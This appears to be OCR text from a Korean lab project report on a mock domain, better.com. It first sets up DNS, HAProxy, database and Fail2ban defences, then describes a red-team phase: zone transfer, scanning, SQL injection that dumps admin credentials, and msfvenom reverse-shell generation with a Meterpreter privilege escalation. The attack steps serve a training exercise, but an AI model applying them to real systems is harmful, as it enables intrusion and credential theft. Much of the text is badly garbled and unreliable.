Switch 37 sw37.better.com A ns
Switch 38 sw38.better.com A ns
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Switch 39 sw39.better.com A ns
Switch 40 sw40.better.com A ns
Switch 41 sw41.better.com A ns
Switch 42 sw42.better.com A ns
Switch 43 sw43.better.com A ns
Switch 44 sw44 better.com A ns
Switch 45 sw45.better.com A ns
Switch 46 sw46.better.com A ns
Switch 47 sw47.better.com A ns
Switch 48 sw48.better.com A ns
Switch 49 sw49.better.com A ns
Switch 50 sw50.better.com A ns
Switch 51 sw51.better.com A ns
Switch 52 sw52.better.com A ns
Switch 53 sw53.better.com A ns
Switch 54 swb4.better.com A ns
Switch 55 sw55.better.com A ns
Switch 56 swb6.better.com A ns
Switch 57 sw57.better.com A ns
Switch 58 sw58.better.com A ns
Switch 59 sw59.better.com A ns
Switch 60 sw60.better.com A ns

ASA 1 better.asa.zone asa.better.com A ns
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135 ZZEZ N&E MY Zat

HA Proxy Active / Stanby

Active

» UNKHOWH group default glen 1888

> mtu 1588 gdisc mg state UP group default glen 1888

S ¥ B R B
lobal wopref ixroute ens1b8

inet :
Yadiia
ineth f
waa i
[rootBUS-hal-R

keepalived?t haproxy If7|X|E AE3I0f HA Proxy Active-Standby #+ZXE THSIJALL VIPZ} Active
MEO|M AtEEl= AE =2

Stanby

[rootRUS-he (TR ¥
1: lo: <LO G > mtu 6 gdisc tate UNKHOWH group default glen 1888
a 16 : 8 :B8:88 | B8 :88: ]

:d_1ft for r
red_lft forever

" UP,LOWER_UP> mtu 1588 gd mg state UP ip default glen 1888
3 brd fYFFFFIFFFFIEF

~ pre
pe qlu'lm] s

Active MH{2| keepalivedE 1M 2 F=EA|ZlI F| Standby MHE{Zt VIPE ALESH Activel| HE&S

il +=Adsts AE =2

DNS &4 ZAx}

SlaveO| better.com.zone A4 =0l

[Fant@llS-ed-Ror lrj.l .—]# -L‘! l|,a.‘,ar ﬁampdﬂl
better.com.zone data dynamic named.ca named.empty named.loc

| root@Us-sd-Rocky
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Master / Slave

Master DBOJ|A| Slave =9I

Mari1aDB

: /backup# 1s

root@CA-bb-Ubuntu:
root@CA-bb-Ubuntu

root( A-bb:ubuntu.-
root@CA-bb-Ubuntu:/
root@CA-bb-Ubuntu:/

/backup# cd 2026-082-23

sqldumpZ DBE WY FESIL
2O}
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1.3.6 AMH Hot
Fail2ban

Fail2ban XMEHZ ot

root@Us-wpl-Ubuntu-dmz : ~# fail2ban- cllent

Status for the jail: sshd

| - Filter

| |- Currently

| |- Total failed:

| ~- Journal matches: SYbTEMD UNIT=sshd.service + COMM=sshd

- Actions
| - Currently banned:
| Tt = e
- Banned IP list:

FOOTELUS - W L - U LU - Ui .

Portsentry

[1151] = ¢
[1151]
[1151]
[1151]
[1151]
[1151]:
[1151]
[1151] =50

f:05:48 [error] 117317641 #55 access forbidden by rule,
G:65:41 [error] 1173178#1173176 ac . forbidden by rule,
141 [error] 1173171#1173171: #54 access forbidden by rule!

lerror] 11731 1#1173171: o directory index

;1? lerror] 3 1 '_E'FaztEGI =ent in stderr:
s htmlsmainsu [_I l|_| a Ei_[:l roc. php:da
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DNS

L

better.com axfr

20.11-4+bl1-Debian < : er.com axfr

g
tions: +cmd

14 2olsZd XSzt 3AIALE ZHut

main

[RedTeam]
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: ngin
: http
wew .bette
80 [OPEN]
) or late
2 or later)
n
> A 5 L2 A0 HAXN s jsonmtYo| EES &Y
[e] P SET
paylaad'
lhost:
lport:
handler_name:
> msfvenomE S HMEE =0y 579 4 WE0| HAXN US

2. e 23

2-1) dig
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[+] = o= o M2 (0o: red.com): better.com
[*] better.com AXFR A 2

AXFR RESULT

gm.better.com
mail.better.com
nsl.better

[SCAN SUMMARY]

t Domain

Wt

better.com
gm.better.com (3

mail.better.com

agte T2 dig axfr 24 X2

=
2

gt EH ot ip

‘file/scan_file' L
better_scan.json

| 80

7?7 (yes/no): yes
/Project _3/file/scan_file/better_scan.json

> AMOAS MEH S prefixE 7| &2 2 iptYs ZF A7
> Z3gt : ip, port state, port, service, version




2M HZ  F1-REPORT-001
no|d =2HE 3 ANHEIA  2HY 2026-03-03

| ol X| 144/187

LHE oty
/board.php
/contact.php
/db.php
/header.php
/index.php

L7t ? (yes/no): yes

2-4) scan_all
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[+]1 =52l 2 1= (0 : red.com): better.com
[*] better.com Cif 4 e =
AXFR RESULT
Target Domain : better
AXFR Server

better.com =
gm.better.com
mail.better.com
nsl.better.com =
webl.better.com
wwa . better.com =

————— — [SCAN SUMMARY]
Target Domain : better.com

AXFR Server : 30.3.20.2

Scan Date

better.com (38.

gm.better.com (38.3.30.

mail.better.com (30.3.30.6)
nsl.better.com (306.3
: webl.better.com (30.3.

wew . better.com (

(16 == 24): 24
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| nginx 26.3
| HAProxy proxy @ or later
| HAPT pro: 8.0 or later

ffuf Automation Script =

uf -u https: com/FUZZ -w fusr/shar
-0 temp_ffuf n -of json -e _php -mc
H 22!

/board.php
/contact.php
/db.php
/header.php
/inde

'inde
/login.php

> dig, nmap, ffufE O|OfM &l 2= ZutE= Hi2 MYEH S0 A7 Ci/Esd T M=
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scan Ity ==]
better_ scan.json
_scan.json
better_nse_scan. json

MY MEE MBS : 1

=

[#] https://wew.better.com Cf & MNikto A~

NIKTO VULNERABILITY SUMMARY REPORT

Target IP
Hostname 2 :
Server Software: nginx/1.26.3 (Ubuntu)

Missing Headers: X-Frame-Options, Strict-Transport-Security, X-Content-Type-Options
Cookie Issues : Secure Flag Missing, HttpOnly Flag Missing
Found Assets
- fcss/
- /db.php
- /login.php
Vulnerability : BREACH attack (Content-Encoding: deflate)
Cert Issue : Hostname mismatch with SS5L Certificate

Note: Critical admin paths and missing security headers found.

> AMOY Z& £ F portZt open®! url A7H
> HOHEH DO|H|(Missing Headers), FI2AMM S 7|EC2 Z1t £9

3-2) wafw0O0f

== [ Local WAFWB@F Scan Automation ] =

— [ Available Scan Files ] —

1. file/scan file/better scan.json

2. file/scan file/betterl scan. json
file/scan_file/better_nse_scan.json

[?] Select file number to analyze: 1

[?] Target number (or ‘all’'): 3

[#] Analyzing https://ww.better.com...

Target URL : https:// www.better.com

Detection : Detected

Reason : No specific reason found
Normal Res 200

Attack Res

Save results to better_waf_scan.json? (y/n): y
better_ waf_scan.json.
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& Summa

[ Local

Nmap NSE 5can

.5 vulnerabilities ... (Ple

(RedHat Linux)

open

il : http-proxy HAProxy http proxy 2.0.8 or later

HAProxy http proxy .@ or later
Juploads/

NOT set on cookies

Found Paths
rity Issu

/Login.php
HttpOnly f

5800/tcp open

http-pr HAProxy http proxy

results to ori
can_file/bette

e
an.json updated

4. attack

4-1) SQL Injection

> EfZ4l URL
"https:
/header.php
Jcontact.php
/logout .php
Jupload.php
/login.php
Jdb . php
Jindex.php
/board.php

L

S

0= o

e
=

[+] fth31fba713e

[Searching Database Name] red

t Table LIMIT @] users
able ‘users’ Found!

[Searching

ge
- [*] Ta IT:

T
rge

t

id

username

password

name

email

phone

address

user
current_connections
total_connections

Column
Column
Column
Column
Column
Column
Column
Column
Column
Column LIMIT
[Searching Column LIMIT
— [#] Matched Columns:

[Searching
[Searchi

LIMIT
LIMIT
LIMIT
LIMIT
LIMIT &
LIMIT

LIMIT

LIMIT 7
LIMIT &

a]

=] f
(= = R T R e

ID(id), User(username), PW(password)

umping Data from users
rching Admin ID] admin

ching Admin Password] a

-
-

dl2
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> ffuf 2 L}2 phpote HEE EOE sql injection XI&

4-2) msfvenom

Configuration ]

HOZ2ZE Hs
LHOST (df :
LF'OET (o : ! L
oY o2 (&2 #He2, of: kong):
3 }: .php
handler_kong): handler_

2t 5 msfvenom & :
nom —p php/me _»_-rpr
o msf/shel est.php
] msfvenom HOEEE ol = e | JIChEF 4 =2
1 No platform was selected, ct . ::Platform:: PHP from the pa
yload
[-1 No arrh selected, selecting arch: php from the payload
outputting raw payload

t*J Hol2E
[+] Handler : : msf/handler_test.rc
[+] Venom & : : file/venom_conf/shell _test conf.txt

> At payloadME = M3 4
> venom/handler/venom_conf 44 &

U7 ? (yes/no): yes

[*] msf O]l E 2|
handler_jang
handlertesttt.. rc
cat.jpg
shell test.php
test2.php

test.rc

m;+fd

Jb-etm oy
1 root root 8

AH 7 O2bm AAM
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4-3) msfconsole

park_conf.txt
lee_conf.txt

1]

> session ™

chnique 1 (Named Pipe Impersonation (In Memory/Admin)).

C:\Windows\
C:\Windows
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[EL:
The account Jdrready exists.

More help is available by typing NET HELPMSG

C:\Windows\syste
indows\syst

The specified account name is already a member of the group.

explore.exe PID 8234 :

ZE M A migrate PID

[*] Migrating from to -
[#]1 Migration completed successf

u -l_ 1_ '}l' .




